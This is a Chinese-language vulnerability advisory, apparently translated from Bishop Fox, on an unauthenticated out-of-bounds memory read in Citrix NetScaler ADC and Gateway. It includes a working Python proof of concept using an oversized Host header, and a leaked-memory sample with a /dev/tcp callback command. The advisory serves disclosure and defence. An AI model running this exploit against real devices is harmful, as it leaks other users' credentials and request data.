Citrix NetScaler ADC和网关OOB内存读取漏洞分析

本文详细分析了Citrix NetScaler ADC和网关中存在的一个未认证越界内存读取漏洞,包括漏洞原理、影响版本、利用方式及修复方案,涉及HTTP请求处理中的内存安全问题和敏感信息泄露风险。

OOB内存读取:NetScaler ADC和网关 | Bishop Fox

产品供应商

Cloud Software Group

产品描述

受影响的Citrix NetScaler ADC和网关组件用于认证、授权和审计(AAA)以及远程访问。

漏洞列表

在Citrix NetScaler ADC和网关中发现一个漏洞:

  • 越界内存读取

受影响版本

  • NetScaler ADC和NetScaler Gateway 14.1 低于 14.1-12.35
  • NetScaler ADC和NetScaler Gateway 13.1 低于 13.1-51.15
  • NetScaler ADC和NetScaler Gateway 13.0 低于 13.0-92.21
  • NetScaler ADC 13.1-FIPS 低于 13.1-37.176
  • NetScaler ADC 12.1-FIPS 低于 12.1-55.302
  • NetScaler ADC 12.1-NDcPP 低于 12.1-55.302

NetScaler ADC和NetScaler Gateway 12.1版本现已终止生命周期(EOL)且存在漏洞。

发现摘要

该漏洞使得未认证攻击者能够从配置为网关或AAA虚拟服务器的NetScaler设备远程获取信息。虽然与CVE-2023-4966性质相似,但此问题返回高敏感信息的可能性要低得多。

影响

该漏洞允许攻击者从内存中恢复数据。虽然在大多数情况下不会返回有价值的信息,但在Bishop Fox Cosmos客户的测试中,我们观察到先前HTTP请求的POST请求体被泄露的情况。Web应用程序使用POST请求传输潜在敏感信息(如状态或凭据),这些请求数据通常应保持私有。

解决方案

按照Citrix安全公告CTX584986中的修复指南,尽快安装以下更新软件:

  • NetScaler ADC和NetScaler Gateway 14.1-12.35及更高版本
  • NetScaler ADC和NetScaler Gateway 13.1-51.15及更高版本
  • NetScaler ADC和NetScaler Gateway 13.0-92.21及更高版本
  • NetScaler ADC 13.1-FIPS 13.1-37.176及更高版本
  • NetScaler ADC 12.1-FIPS 12.1-55.302及更高版本
  • NetScaler ADC 12.1-NDcPP 12.1-55.302及更高版本

越界内存读取

NetScaler ADC和网关产品存在未认证越界内存读取漏洞,可被利用来捕获设备进程内存中的信息,包括HTTP请求体。

漏洞详情

CVE ID:供应商已更新CVE-2023-6549以涵盖此漏洞及原始拒绝服务漏洞,因为它们通过同一修复程序解决。

漏洞类型:越界读取

访问向量:☒ 远程,☐ 本地,☐ 物理,☐ 上下文相关,☐ 其他

影响:☐ 代码执行,☐ 拒绝服务,☐ 权限提升,☒ 信息泄露,☐ 其他

安全风险:☐ 严重,☒ 高,☐ 中,☐ 低

漏洞:CWE-125(越界读取)

Bishop Fox工作人员确定先前版本的NetScaler ADC和网关产品存在未认证越界内存读取漏洞,并利用该漏洞捕获设备进程内存中的信息,包括HTTP请求体。

Bishop Fox工作人员发现,网关或AAA虚拟服务器在处理对/nf/auth/startwebview.do URI的HTTP GET请求时,对HTTP Host请求头进行不安全处理。易受攻击的函数尝试计算包含Host头的字符串长度,然后指示后续函数将该长度的字符串复制到HTTP响应消息中。然而,由于错误使用C snprintf方法,如果请求中提交的Host头值超过约5,394字节,会导致长度超过源缓冲区大小,并将无关数据复制到响应中。利用此漏洞不需要认证。

以下Python概念验证代码可用于演示对易受攻击设备的可利用性:

1
2
3
4
import requests 
url = "https://<HOST>/nf/auth/startwebview.do"  
r = requests.get(url, headers={"Host":"A"*0x5000}, verify=False)  
print(r.content[0x1800:])

图1 - 概念验证利用代码

/nf/auth/startwebview.do URI的请求由ns_aaa_start_webview_for_authv3函数处理。该函数使用snprintf函数构建XML响应,并通过调用ns_vpn_send_response函数将此响应返回给用户,如下所示:

1
2
3
4
5
6
sprintf(print_temp_rule,"%s%.*s%s",proto,iVar5 - (int)host_hdr,host_hdr, 
  "/nf/auth/doWebview.do"); 
length = snprintf(&ns_HttpRedirectPkt,0x1800, 
  "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><AuthenticateRespo nse xmlns=\"http://citrix.com/authentication/response/1\"><Status>success</Statu s><Result>more-info</Result><StateContext></StateContext><AuthenticationRequirem ents><PostBack>/nf/auth/webview/done</PostBack><CancelPostBack>/nf/auth/doLogoff .do</CancelPostBack><CancelButtonText>Cancel</CancelButtonText><Requirements><Re quirement><Credential><ID>samlResponse</ID><Type>webview</Type><wv:WebView xmlns :wv=\"http://citrix.com/authentication/response/webview/1\"><wv:StartUrl>%.*s</w v:StartUrl></wv:WebView></Credential><Label><Type>none</Type></Label><Input/></R equirement></Requirements></AuthenticationRequirements></AuthenticateResponse>" 
  ,length,print_temp_rule); 
ns_vpn_send_response(lVar1,0x980200,&ns_HttpRedirectPkt,length);

图2 - ns_aaa_start_webview_for_authv3函数反编译摘录

ns_vpn_send_response函数发送HTTP响应,其中响应体和体大小作为参数提供。在上面的代码中,大小设置为snprintf函数的返回值。根据snprintf函数的文档,返回值是如果有足够空间时将写入的字符数。因此,如果构建的响应超过缓冲区大小(本例中为0x1800字节),ns_vpn_send_response函数将响应缓冲区末端之外的额外数据。这与CVE-2023-4966(CitrixBleed)的根本原因相同。

ns_aaa_start_webview_for_authv3函数中不安全使用sprintf函数的问题在本报告的"不安全字符串处理"发现中有更详细讨论。

Bishop Fox工作人员分析了先前版本的易受攻击Citrix部署,观察到披露的内存包含来自HTTP请求的数据,有时包括POST请求体。例如,以下响应包含设备处理的另一个HTTP请求的数据,显然与Nessus漏洞扫描相关:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
  <AuthenticateResponse xmlns="http://citrix.com/authentication/response/1"> 
    <Status>success</Status> 
    <Result>more-info</Result> 
    <StateContext></StateContext> 
    <AuthenticationRequirements> 
      <PostBack>/nf/auth/webview/done</PostBack> 
      <CancelPostBack>/nf/auth/doLogoff.do</CancelPostBack> 
      <CancelButtonText>Cancel</CancelButtonText> 
      <Requirements> 
        <Requirement> 
          <Credential> 
          <ID>samlResponse</ID> 
          <Type>webview</Type> 
          <wv:WebView xmlns:wv="http://citrix.com/authentication/response/webview/1"> 
          <wv:StartUrl>https://[...省略...] 
            /Citrix/[REDACTED]/cgi-bin/ncbook/book.cgi ck.cgi 0-c%20%22echo%20exploited_port[80]by_nessus%20%26gt;/dev/tcp/[REDACTED]/41418") 20%23 xt=1 %22stdClass%22%3a3%3a%7bs%3a3%3a%22mod%22%3bs%3a15%3a%22resourcesmodule%22%3bs%3a3%3a%22src%22%3bs%3a20%3a%22%40random41940ceb78dbb%22%3bs%3a3%3a%22int%22%3bs%3a0%3a%22%22%3b%7d[...省略...]

图3 - NetScaler设备响应披露内存内容

受影响位置

URI /nf/auth/startwebview.do

函数 ns_aaa_start_webview_for_authv3 in /netscaler/nsppe

致谢

Bishop Fox能力开发小组

时间线

  • 2024年1月22日:初始发现
  • 2024年1月25日:与供应商联系
  • 2024年2月1日:供应商确认漏洞
  • 2024年5月6日:漏洞公开披露
  • 2024年5月10日:供应商更新安全公告,确认CVE-2023-6549的拒绝服务修复也解决了越界内存读取问题
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计